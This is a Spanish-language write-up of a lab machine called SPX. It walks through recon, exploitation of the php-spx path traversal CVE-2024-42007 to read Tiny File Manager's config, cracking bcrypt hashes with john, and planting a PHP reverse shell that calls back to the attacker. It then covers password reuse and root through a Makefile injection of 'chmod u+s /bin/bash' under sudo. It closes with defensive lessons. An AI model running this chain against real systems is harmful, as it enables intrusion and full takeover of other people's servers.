SPX
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Elphpinfo.phpdelata la extensión php-spx 0.4.15, vulnerable a la CVE-2024-42007: un path traversal que lee ficheros arbitrarios (php-spx path traversal (CVE-2024-42007)). Leemos elindex.phpdel Tiny File Manager, sacamos sus hashes bcrypt y los crackeamos (crackeo de hashes). Con el admin subimos una webshell (subida a RCE), la contraseña se reutiliza paraprofiler(reutilización de credenciales), y unsudo make installsobre unMakefileque controlamos nos da root (abuso de sudo make install).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo SSH y un Apache que se presenta como "Tiny File Manager".
ping -c 1 192.168.219.108
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.219.108PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.219.108 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Tiny File ManagerHTTP - TCP 80
Un dirsearch descubre un phpinfo.php accesible:
dirsearch -u http://192.168.219.108 --exclude-status=404,403200 - 22KB - /phpinfo.phpEl phpinfo es oro para el fingerprint: entre las extensiones cargadas aparece SPX (php-spx) v0.4.15, un profiler de PHP. Y algo más: revela la directiva spx.http_key, la clave que protege la UI de SPX, en claro (a2a90ca2f9f0ea04d267b16fb8e63800):

Explotación
CVE-2024-42007: path traversal de php-spx
Buscando la versión aparece el exploit de esa CVE:

php-spx expone una UI interna protegida por SPX_KEY. La CVE-2024-42007 permite pasar un SPX_UI_URI con ../ para leer ficheros del disco (php-spx path traversal (CVE-2024-42007)). El exploit necesita la SPX_KEY, y la tenemos: es justo el spx.http_key que filtró el phpinfo. Con ella leemos el index.php de la aplicación:
python3 CVE_2024_42007.py -t http://192.168.219.108 -f /var/www/html/index.php | grep bashEl index.php es la configuración del Tiny File Manager 2.5.3, y su array $auth_users trae dos hashes bcrypt en claro:

'admin' => '$2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG',
'user' => '$2y$10$x8PS6i0Sji2Pglyz7SLFruYFpAsz9XAYsdiPyfse6QDkB/QsdShxi'Crackeo de los hashes bcrypt
Guardamos los dos hashes y los pasamos por john (crackeo de hashes):
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
lowprofile (?)
profiler (?)
2g 0:00:00:00 DONESalen lowprofile y profiler. La primera abre el Tiny File Manager como admin.
Edición del index.php a RCE
Entramos en el Tiny File Manager con admin / lowprofile:

Ya dentro, el panel muestra el webroot con index.php y phpinfo.php (propiedad de www-data), y el pie confirma la versión, Tiny File Manager 2.5.3:

El TFM permite editar ficheros (escritura arbitraria a RCE). Como reverse shell usamos el PHP de PentestMonkey de revshells.com (apuntando a nuestra IP y al 22):

Y sobrescribimos el propio index.php con ese código desde el editor del TFM:

Con Penelope a la escucha en el 22, un simple curl al index.php dispara la conexión:
curl http://192.168.219.108/index.php
(Penelope)> listeners add -p 22
[+] Got reverse shell from spx~192.168.219.108-Linux-x86_64 Assigned SessionID <1>
www-data@spx:/$ whoami
www-dataObtenemos ejecución como www-data.
Pivote de usuarios
Reutilización de la contraseña para profiler
La contraseña recuperada del gestor sirve tal cual para la cuenta de sistema profiler (reutilización de credenciales):
su profiler # lowprofile
profiler@spx:/home$ id
uid=1000(profiler) gid=1000(profiler) groups=1000(profiler)Local
cat local.txt && whoami && ip a && hostname
164935483cfee7d46cfc49e7999389ff
profilerEscalada de privilegios
Abuso de sudo make install con Makefile controlado
profiler puede ejecutar make install como root en un directorio que le pertenece:
sudo -lUser profiler may run the following commands on spx:
(ALL) /usr/bin/make install -C /home/profiler/php-spxmake ejecuta las recetas del Makefile tal cual, y ese Makefile está en un directorio nuestro. Basta con inyectar un comando en el target que install invoca (abuso de sudo make install). Añadimos al target install-spx-ui-assets:
nano /home/profiler/php-spx/Makefile
# dentro de install-spx-ui-assets:
@chmod u+s /bin/bashLanzamos la regla con sudo y disparamos la shell con privilegios:
sudo /usr/bin/make install -C /home/profiler/php-spx
ls -l /bin/bash # -rwsr-xr-x root root (SUID)
bash -p
make: Entering directory '/home/profiler/php-spx'
Installing shared extensions: /usr/lib/php/20210902/
Installing SPX web UI to: /usr/share/misc/php-spx/assets/web-ui
make: Leaving directory '/home/profiler/php-spx'
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
rootRoot
cat /root/proof.txt && whoami && ip a && hostname
b168de96689fc2ca42843f1a8220c9c3
rootCadena de ataque
Apache 80 -- Tiny File Manager + php-spx 0.4.15
│ phpinfo.php revela php-spx 0.4.15
│ spx.http_key (phpinfo) + CVE-2024-42007: path traversal -> leer index.php (hashes bcrypt)
│ john -> admin:lowprofile / user:profiler
│ login TFM admin -> editar index.php con reverse shell PHP
▼
www-data
│ su profiler (reutiliza lowprofile)
▼
profiler (local.txt)
│ sudo make install -C ~/php-spx con Makefile controlado -> chmod u+s /bin/bash
▼
root (proof.txt) [bash -p]Lecciones aprendidas
phpinfo.phppublica el mapa de extensiones. Ahí salió php-spx 0.4.15 y su CVE. Nunca dejes unphpinfoaccesible en producción.- Un profiler de PHP no es inofensivo. php-spx traía un path traversal (CVE-2024-42007) que leyó la configuración con las credenciales. Las herramientas de diagnóstico deben quedar fuera del alcance externo.
- Los hashes en la config son credenciales. bcrypt no es irrompible con contraseñas débiles;
lowprofilecayó al instante y además se reutilizaba para el usuario del sistema. sudo make installes RCE si controlas el Makefile.makeejecuta cualquier receta; concedermakepor sudo sobre un directorio escribible equivale a dar root.